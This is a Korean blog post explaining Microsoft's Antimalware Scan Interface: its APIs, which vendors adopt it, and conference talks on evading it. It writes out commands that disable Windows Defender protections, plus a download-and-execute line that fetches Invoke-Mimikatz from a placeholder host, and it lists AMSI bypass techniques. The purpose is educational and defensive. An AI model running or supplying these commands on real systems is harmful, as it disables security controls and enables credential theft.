티스토리 뷰

Microsoft 공식 홈페이지[1]에 따르면 AMSI(AntiMalware Scan Interface)응용 프로그램 및 서비스를 컴퓨터에있는 모든 Anti-Virus 제품과 통합 할 수있는 다목적 인터페이스 표준이다.

AMSI 기능은 Windows 10의 아래 구성 요소에 통합되어 있다.

  • User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
  • PowerShell (scripts, interactive use, and dynamic code evaluation)
  • Windows Script Host (wscript.exe and cscript.exe)
  • JavaScript and VBScript
  • Office VBA macros

AMSI는 앱 내부에서 멀웨어 방지 제품을 이용하려는 응용 프로그램 개발자, 제품이 응용 프로그램에 최고의 기능을 제공하기를 원하는 멀에어 방지 제품의 Third-party 제작자가 이를 주로 사용할 수 있게 설계되었다.
AMSI는 특히 "Fileless Malware"를 대응하도록 설계되었다. 활용할 수 있는 응용 프로그램 유형에는 스크립트 엔진, 실행 전 메모리 버퍼를 스캔해야 하는 응용 프로그램 및 PE가 아닌 실행 코드가 포함된 파일(예: MS word, excel 매크로 또는 pdf 문서)을 처리하는 응용 프로그램들이 있다.

[응용 프로그램 개발자 활용 방식]
앱에서 AMSI와 인터페이스 할 수 있는 두 가지 방법은 아래와 같다.
1. AMSI Win32 API를 사용하기[2]
- 아래는 스캔을 요청하기 위해 앱에서 호출할 수 있는 함수이다. 세션 열고 닫기, 차단 여부, 멀웨어 검사 등 다양한 기능을 제공한다. 주요 기능은 AmsiScanBuffer, AmsiScanString이다. 조사를 끝내고 아래 함수를 통해 간단한 프로그램을 만들어 볼 예정이다. 그렇기 때문에 함수에 대한 세부 내용은 살펴보지 않을 것이다.

AMSI functions

2. AMSI COM 인터페이스 사용하기[3]
C++ 기반으로 amsi.h 파일을 통해 AMSI의 기능을 사용할 수도 있다. MS가 깃허브에 공개한 IAmsiStream Interface sample[4]에서도 활용 예제를 참고할 수 있다. 요구 사항으로는 최소 지원 클라이언트가 Windows 10 [only desktop app], 지원되는 최소 서버는 Windows Server 2016, 2019 [only desktop app]으로 제한한다.

IAmsiStream interface


[Third-party 제작자 활용 방식]
개인적으로 앱을 만드는 개발자와 달리 Third-party 제작자는 국내외 멀웨어방지 제품 또는 다른 프로그램에 AMSI를 적용할 때 해당 방식을 사용한다. (예: Windows Defender, 7Zip, Process Hacker(?), etc...)
anti-malware 제품을 만드는 사람들은 AMSI provider로 기능하기 위해 COM server (DLL)를 작성하고 등록하도록 선택할 수 있으며, AMSI provider는 IAntimalwareProvider를 구현해야 하며, 반드시 과정 중에 실행되어야 한다. (DLL은 LoadLibraryW 호출 또는 전체 경로와 함께 로드하는 것이 좋다) 추가로 COM 클래스를 등록을 해주어야 하는데, 그 방법은 [5]를 참고하면 되며, IAntimalwareProvider interface는 아래 Method들[6]을 사용할 수 있다.

IAntimalwareProvider interface


지금까지 앱 개발자 또는 Third-party 업체가 AMSI를 사용할 수 있는 사용법에 대해 조사해봤다. 다음으로는 AMSI가 현재(2020년 4월) 기준으로 어떻게 응용되고 있는지, 국내외 컨퍼런스에서 발표된 자료를 기반으로 작성하도록 하겠다. 

Black Hat USA 2016에서 발표된 "AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It" 내용[7][8], Wild West Hackin' Fest 2018에서 발표된 "Antimalware Scan Interface (AMSI)" 내용[9]에서는 AMSI의 소개, 실제 Powershell로 작성된 악성 스크립트(Malicious Powershell via Unicorn, Mimikatz)를 대상으로 AMSI 기능 테스트, AMSI의 우회 방법에 대해 소개했다. 
해당 자료에 따르면 스크립트 기반 공격은 Powershell, VBScript, JScript가 있으며, 주로 낮은 탐지율 때문에 공격자들이 자주 사용. 또한, AMSI의 특징은 Memory 스캐닝, URL 및 IP 분석, File 검사, VBA와 Scripting Runtime 분석을 수행하는 것이라고 전했으며, MS 공식 홈페이지에서 확인할 수 있는 아래 첨부된 AMSI Architecture에 대한 설명을 진행했다. AMSI를 효과적으로 사용하는 방법에 대해서는 Scripting host level에서 스크립트를 catch하려고 시도한다고 하면서 System.Automation.dll (powershell.exe가 없는 Powershell script)을 사용하면 도움이 되지 않으며, input method(disk, memory, interactive)는 중요하지 않다고 전했다. 

AMSI Architecture


또한, 발표에서는 AMSI Detection에 대해 실제 악성 스크립트(Powershell)를 실행했을 때의 현상을 DEMO 영상을 통해 공개했으며, 시나리오는 아래와 같다. (Test OS : 64bit Windows 10 build 10586)
1. Powershell에서 "Set-MpPreference -DisableIOAVProtection $true"를 통해 AV를 비활성화한다.
2. Client에서 로컬 웹 서버(HFS, HTTP file Server)에 미리 업로드한 데이터를 다운로드 받기 위해 "iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke.Mimikatz.ps1')" 명령을 통해 해당 파워쉘 내부 데이터를 가져온다.
3. Get-MpThreatDetection | sort InitialDetectionTime -Descending | select -First 1 명령을 통해 WindowsDefender가 탐지하지 못한 것을 보여주었다.
4. 다시 1번에서 $false를 적용해 AV를 활성화한다.
5. 2번 내용을 다시 수행하지만, 아래와 같이 AV가 차단했다는 경고창이 뜨면서 실행되지 않는 것을 볼 수 있다.

6. 3번을 다시 수행하면 탐지가 되었다는 이벤트로그를 확인할 수 있다.

Powershell 스크립트가 비정상적인 위치(WMI namespaces, Registry keys, Event logs)에서 로드된다면 기존 방식(disk based) 탐지는 해당 스크립트를 탐지할 수 없다고 전했으며, .Net 클래스, 별도의 실행 공간, 다른 프로세스의 메모리 공간, 정상 응용 프로그램(InstallUtil, regsrv32, rundll32) 등 다양한 통로에서 비정상적인 실행이 이루어질 경우에 대한 다양한 측면을 고려해봐야 한다고 전했다.

발표자들은 AMSI를 회피할 수 있는 3가지 방법인 Poershell Version 2를 사용(기본 Windows 10에 없는 .Net 3.0 필요), Signature bypass(효과가 제한), AMSI 비활성화를 제안했다. AMSI를 회피하기 위해 Signature bypass 방법은 아래와 같이 난독화를 통해 수행한 결과, AMSI에 탐지되지 않았다고 한다. (결국에는 Signature Detection이라고 생각한다고 의견을 전달함)

AMSI를 우회하는 것은 사실 어렵지 않다면서 아래와 같은 방법이 제일 간편하다고 전했다.
1. Remove help section
2. Obfuscate function and variable names
3. Encode parts of script
4. ISESteroids 모듈의 난독화 기능
5. Windows Defender와 연동해서 사용할 수 있는 명령어 (악성코드에서 해당 기능을 끔으로 우회가 가능)
Set-MpPreference -DisableRealtimeMonitoring $True (Event ID 5001 통해 On/Off 확인 가능)
6. AVProtection 끄는 명령어 (Windows Defender)
Set-MpPreference -DisableIOAVProtection $True (Event ID 5004 통해 On/Off 확인 가능)
7. 아래 명령을 통해 현재 프로세스에서 AMSI를 언로드 할 수 있음 (높은 특권 필요 X)

8. amsi.dll을 Drop하는 방법[13]

Black Hat ASIA 2018에서 발표된 "The Rise and Fall of AMSI" 내용[10] 또한 공개되었다. 해당 내용은 추후에 추가하도록 하겠다.(이것 또한 AMSI을 우회하는 방법에 대해 소개하고 있다..)

다음으로는 AMSI를 활용하는 Antivirus 및 다른 업체에 대해 조사해봤다. 

Twitter @Lee_Holmes에 따르면 20년 3월 말 기준으로 AMSI를 지원하는 Antivirus Vendor가 아래와 같았다. Windows Defender, AVG, BitDefender, ESET 등 15개 보안업체가 이를 점차 활용하고 있으며, Fileless 공격에 대응하기 위해 앞으로도 계속적으로 추가될 것으로 보인다. (2016년 7월 21일 기준 2개 벤더(Windows Defender, AVG)만 사용했지만 현재 15개로 점진적으로 해당 기술을 사용하는 업체가 증가하고 있는 추세)

AMSI를 탑재하고 있는 보안 벤더 


이와 반대로, 국내 보안업체같은 경우는 AMSI를 지원하지 않고 있다. 해당 기술을 적용하지 않아서 좋지 않은 벤더사라고 말할 수는 없으며, 해당 기술은 점점 발전하고 있어 미리 적용한다면 스크립트 기반 공격에 대해 선제적으로 방어체계를 구축할 수 있을 것이라고 생각한다.

[11] 국내 보안업체와 별개로 국내 반디소프트에서 개발한 압축 프로그램인 '반디집'에서 AMSI를 적용하는 것을 확인했다. 반디집에 따르면 Windows 10의 AMSI 기능을 사용해 압축 파일의 디스크에 내용을 풀지 않고 메모리에 풀어서 악성코드를 검사하는 기능을 제공한다. 이 기능은 모든 압축 파일에 대한 악성코드 검출을 보장하지 않는다고 한다(??). 단, 시스템에 설치된 AV 프로그램이 AMSI를 지원하지 않는다면 AMSI가 비활성화되거나 정상적으로 작동하지 않으며, 반디집의 악성코드 검사 기능도 작동하지 않는다고 한다.. 또한, 반디집 공식 홈페이지에는 AMSI를 지원하는 AV 프로그램이 2020년 2월 기준 6개로 조사됐지만, 위에 조사된 트위터 사진을 보면 10개 이상의 업체가 지원하는 것을 확인했을 때, 정확한 조사가 되지 않은 것으로 확인됐다.
반디집은 또한 아래와 같은 이유로 AV 프로그램 단독으로 검사를 수행하면 악성코드 검출에 실패할 수 있다고 전했다. 간단한 실험 또한 명시되어 있었다. 요약하면, "AV 프로그램이 악성코드로 진단하지 못하는 eicar 샘플을 반디집에서는 검사할 수 있다"이다.

  • 압축 파일에 암호가 걸린 경우
  • 파일이 널리 쓰이지 않는 압축 포맷으로 압축된 경우
  • 파일이 널리 쓰이지 않는 압축 알고리즘으로 압축된 경우
  • 해당 AV 프로그램이 압축을 풀지 않으면 압축 파일을 검사하지 않는 경우

필자가 이해한 바로는 AMSI 기능을 제공하는 AV에 의존을 해야하며, 압축파일을 디스크에 풀지 않고 메모리에서 검사를 수행하는 메커니즘인 것 같다. 설계서나 코드를 봐야 어떤 방식으로 이루어졌는지 확인할 수 있어 자세한 사항을 확인하기는 어려웠다. (내용이 틀리다면 댓글 부탁드립니다)  

AMSI를 활용하는 반디집(출처 : 반디집 공식홈페이지)



또한, 샌드박스 업계에서는 조샌드박스가 유일하게 AMSI와 통합한 것을 확인할 수 있었다.

AMSI를 활용하는 joesecurity(출처 : jooesecurity 공식홈페이지)


국외 보안업체 McAfee가 19년 8월경 AMSI를 자사 보안제품에 적용해 Powershell과 같은 실제 악성 스크립트를 테스트한 결과에 대한 게시물을 업로드했다.[12]
MacAfee에서 공개한 Fileless Malware에 대한 공격에 대한 전략은 아래와 같았으며, Word에서 수행하는 Powershell을 실행하고, AMSI Buffer에 저장된 파워쉘 코드를 MacAfee 스캐너가 탐지하여 Feature를 추출하고 ML을 이용해 분류하여 최종적으로 Zero-Day- Powershell 위협을 탐지할 수 있었다고 전했다. 


[결론]
지금까지 본 게시물에서는 AMSI 기능을 사용해서 개발하는 방법, 외부 컨퍼런스에서 다루는 AMSI 우회 방법 및 소개, AMSI를 활용하고 있는 국내외 보안 벤더 및 다른 제품(총 17개 업체-Antivirus, zip, sandbox), 서비스들에 대해 살펴봤다. AMSI는 윈도우 환경에서 스크립트 기반 공격을 차단하기 위한 큰 발전으로 보이며, 앞으로도 꾸준히 발전될 것으로 보인다. 본 내용은 간략하게 조사한 내용으로써, 더 상세한 조사가 필요될 것으로 보이며, 추가되는 즉시 게시물을 수정하도록 할 것이다.

[Reference]
[1] https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
[2] https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions
[3] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iamsistream
[4] https://github.com/Microsoft/Windows-classic-samples/tree/master/Samples/AmsiStream
[5] https://docs.microsoft.com/en-us/windows/win32/amsi/dev-audience
[6] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iantimalwareprovider
[7] https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
[8] https://www.youtube.com/watch?v=7A_rgu3kbvw
[9] https://www.youtube.com/watch?v=wBK1fTg6xuU
[10] https://i.blackhat.com/briefings/asia/2018/asia-18-Tal-Liberman-Documenting-the-Undocumented-The-Rise-and-Fall-of-AMSI.pdf
[11] https://kr.bandisoft.com/bandizip/help/antimalware-scan-on-archive/
[12] https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-amsi-integration-protects-against-malicious-scripts/
[13] http://cn33liz.blogspot.com/2016/05/bypassing-amsi-using-powershell-5-dll.html

댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함